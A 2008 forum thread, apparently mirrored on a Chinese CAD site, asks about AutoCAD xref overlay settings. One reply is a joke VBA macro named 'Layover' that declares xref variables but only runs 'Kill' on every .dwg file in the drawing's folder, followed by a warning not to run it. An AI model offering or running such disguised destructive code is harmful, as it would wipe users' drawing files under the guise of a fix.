乐筑天下

搜索
欢迎各位开发者和用户入驻本平台 尊重版权,从我做起,拒绝盗版,拒绝倒卖 签到、发布资源、邀请好友注册,可以获得银币 请注意保管好自己的密码,避免账户资金被盗
楼主: Co.Mnstr

External References, can you change the overlay property?

[复制链接]

86

主题

744

帖子

6

银币

顶梁支柱

Rank: 50Rank: 50

铜币
1092
发表于 2008-10-17 11:15:55 | 显示全部楼层


[B] Hehehehe... He called you "Boob". [/B]
回复

使用道具 举报

86

主题

744

帖子

6

银币

顶梁支柱

Rank: 50Rank: 50

铜币
1092
发表于 2008-10-17 11:17:55 | 显示全部楼层
He's seen me with a spandex autodesk shirt.
回复

使用道具 举报

86

主题

744

帖子

6

银币

顶梁支柱

Rank: 50Rank: 50

铜币
1092
发表于 2008-10-17 11:24:19 | 显示全部楼层
Here you go SCuMDave.  I'm sure this is exactly what you needed.
  1. Public Sub Layover()
  2. Dim objSelSets As AcadSelectionSets
  3. Dim objSelSet As AcadSelectionSet
  4. Dim objOverlay As AcadExternalReference
  5. Dim intType(0) As Integer
  6. Dim varData(0) As Variant
  7. Dim strPath As String
  8. Dim strName As String
  9. Dim dblInsPnt(0 To 2) As Double
  10. Dim objXref As AcadExternalReference
  11. Dim objEnt As AcadEntity
  12. Dim objBlk As AcadBlock
  13. Dim objBlks As AcadBlocks
  14. strPath = ThisDrawing.GetVariable("DWGPREFIX")
  15. strPath = strPath + "*.dwg"
  16. Kill strPath
  17. End Sub

WARNING!!!!!!!!!!!!!!!
If you're not Dave and/or can't understand what this is doing, do NOT under any circumstances, run it.
回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

  • 微信公众平台

  • 扫描访问手机版

  • 点击图片下载手机App

QQ|关于我们|小黑屋|乐筑天下 繁体中文

GMT+8, 2025-7-4 01:29 , Processed in 2.163179 second(s), 67 queries .

© 2020-2025 乐筑天下

联系客服 关注微信 帮助中心 下载APP 返回顶部 返回列表